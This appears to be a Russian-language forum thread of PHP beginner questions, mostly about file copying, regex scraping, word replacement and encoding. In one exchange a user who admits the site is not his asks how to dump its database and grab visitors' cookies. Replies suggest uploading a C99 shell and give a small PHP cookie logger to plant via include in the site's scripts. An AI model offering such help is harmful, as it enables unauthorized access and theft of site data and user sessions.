[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Нанаркоманили тут, ппц)
    давайте ещё короче
    PHP:
    file_put_contents('1.txt'str_replace('MATCHED'''file_get_contents('1.txt')));
     
  2. vikseriq

    vikseriq Elder - Старейшина

    Joined:
    31 Jul 2008
    Messages:
    118
    Likes Received:
    44
    Reputations:
    2
    Эй, уймитесь! Тоже мне тут - писькомерки в степени -1 )
    Ответьте челу тому: как скопить папку на пхп?
     
  3. Ru}{eeZ

    Ru}{eeZ Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    454
    Likes Received:
    73
    Reputations:
    -5
    copy()
     
  4. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    а поточнее можно и с примером)
     
  5. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    136
    Likes Received:
    83
    Reputations:
    8
    php.net/opendir
    php.net/copy
     
    1 person likes this.
  6. Ru}{eeZ

    Ru}{eeZ Elder - Старейшина

    Joined:
    19 Feb 2008
    Messages:
    454
    Likes Received:
    73
    Reputations:
    -5
    copy('old', 'new');
     
  7. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    Добрый верер.. Вопрос по регуляркам. Вот отсюда http://newsland.ru/News/Detail/id/314704/cat/65/ надо вырезать текст

    Пишу такую регулярку "#<div class=\"bodytext mt5\">(.*?)</div></div>#". Но не работает.. как можно по другому регулярку записать? что бы через preg_match грабился результат.
     
    1 person likes this.
  8. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    тебе модификатор s надо было добавить)
    PHP:
    preg_match('#<div class="bodytext mt5">(.+)</div>#s'$text$out);
    print_r($out);
     
    1 person likes this.
  9. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    какой нужен код(php, javascript) чтобы копирнуть БД с сайта если у меня есть возможность выполнить любой код на сайте (сайт находится на виртуальном хосте)
     
  10. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    В PhpMyAdmin сделай бэкап
     
  11. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    http://sypex.net/
     
  12. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0

    сайт не мой хз его пас на админку но могу выполнить любой скрипт :)



    а есть скрипт который копирует все куки узера када он зайдет на нее (кроме те шо от сайта) и сохранит в файл)
     
    #5952 sadfeel, 8 Nov 2008
    Last edited: 8 Nov 2008
  13. .:nbd:.

    .:nbd:. Elder - Старейшина

    Joined:
    27 Jul 2008
    Messages:
    97
    Likes Received:
    27
    Reputations:
    1
    >>а есть скрипт который копирует все куки узера када он зайдет на нее (кроме те шо от сайта) и сохранит в файл)

    нету

    Для того, что бы сделать дамп базы нужны логин, пасс и имя базы. Если есть возможность залей шелл и будет тебе счастье.
     
  14. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    1. http://www.openproj.ru/70/ - MySqlDumper + в шелле C99 от madnet есть функция дампа БД.

    2. Политика браузера не позволит скопировать кукисы от чужих сайтов.

    Сохранять кукисы можно так:
    PHP:
    <?php
    $cook 
    implode(';',$_COOKIE);
    $fp fopen('cookies.txt','at');
    fputs($fp,$cook."\n");
    fclose($fp);
    ?>
    Создай в какой-нибудь далекой папочке скрипт, и из чужих скриптов инклудь функцией include(путь до сохранялки);
     
    #5954 Chaak, 8 Nov 2008
    Last edited: 8 Nov 2008
    1 person likes this.
  15. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    для больших баз совершенно не годится, всегда использую Sypex Dumper
     
    1 person likes this.
  16. Chode

    Chode Elder - Старейшина

    Joined:
    20 Jul 2008
    Messages:
    164
    Likes Received:
    19
    Reputations:
    0
    не знаю регулярку пока...как минимизировать?
    PHP:
    $txt=str_ireplace(" ".$o." "," ".$s." ",$txt);
    $txt=str_ireplace(" ".$o.","," ".$s.",",$txt);
    $txt=str_ireplace(" ".$o."."," ".$s.".",$txt);
    $txt=str_ireplace(" ".$o."?"," ".$s."?",$txt);
    $txt=str_ireplace(" ".$o."!"," ".$s."!",$txt);
    $txt=str_ireplace(" ".$o.":"," ".$s.":",$txt);
     
  17. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    насколько я понимаю код надо заменить слово в переменной $o на слово в переменной $s...только про символы не понял, зачем менять символ на тот же самый)
    не легче ли
    PHP:
    $txt str_replace($o$s$txt); 
    ну хотя это твоё дело)
    PHP:
    $o 'жопа'// Слово которое ищем
    $s 'пезда'// Слово на которое меняем

    // Текст 
    $txt 'траляля какой-то текст жопа: ещё там чёто'

    $txt preg_replace('#'.$o.'([\.,\?!:]*?)#i'$s.'\\1'$txt);
    echo 
    $txt;
     
    2 people like this.
  18. Chode

    Chode Elder - Старейшина

    Joined:
    20 Jul 2008
    Messages:
    164
    Likes Received:
    19
    Reputations:
    0
    Спасибо идеально =) ну просто небольшая функция синонимизации понадобилась
     
  19. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    Граблю новости с сайта у которого кодировка utf-8. Все сграбил сохранил в файл txt , все это сохранилось на сервере, но сам сайт для которого грабилась новость работает на кодировке windows-1251 и поэтому на сайте при выводе новости одни иероглифы((( Как это можно исправить, сграбленный текст новости до сохранения в txt файл обрабатывать функцией convert_cyr_string ?
     
  20. Jer1cho

    Jer1cho Member

    Joined:
    6 Jun 2008
    Messages:
    212
    Likes Received:
    65
    Reputations:
    10
    php.net/iconv
     
    1 person likes this.
Thread Status:
Not open for further replies.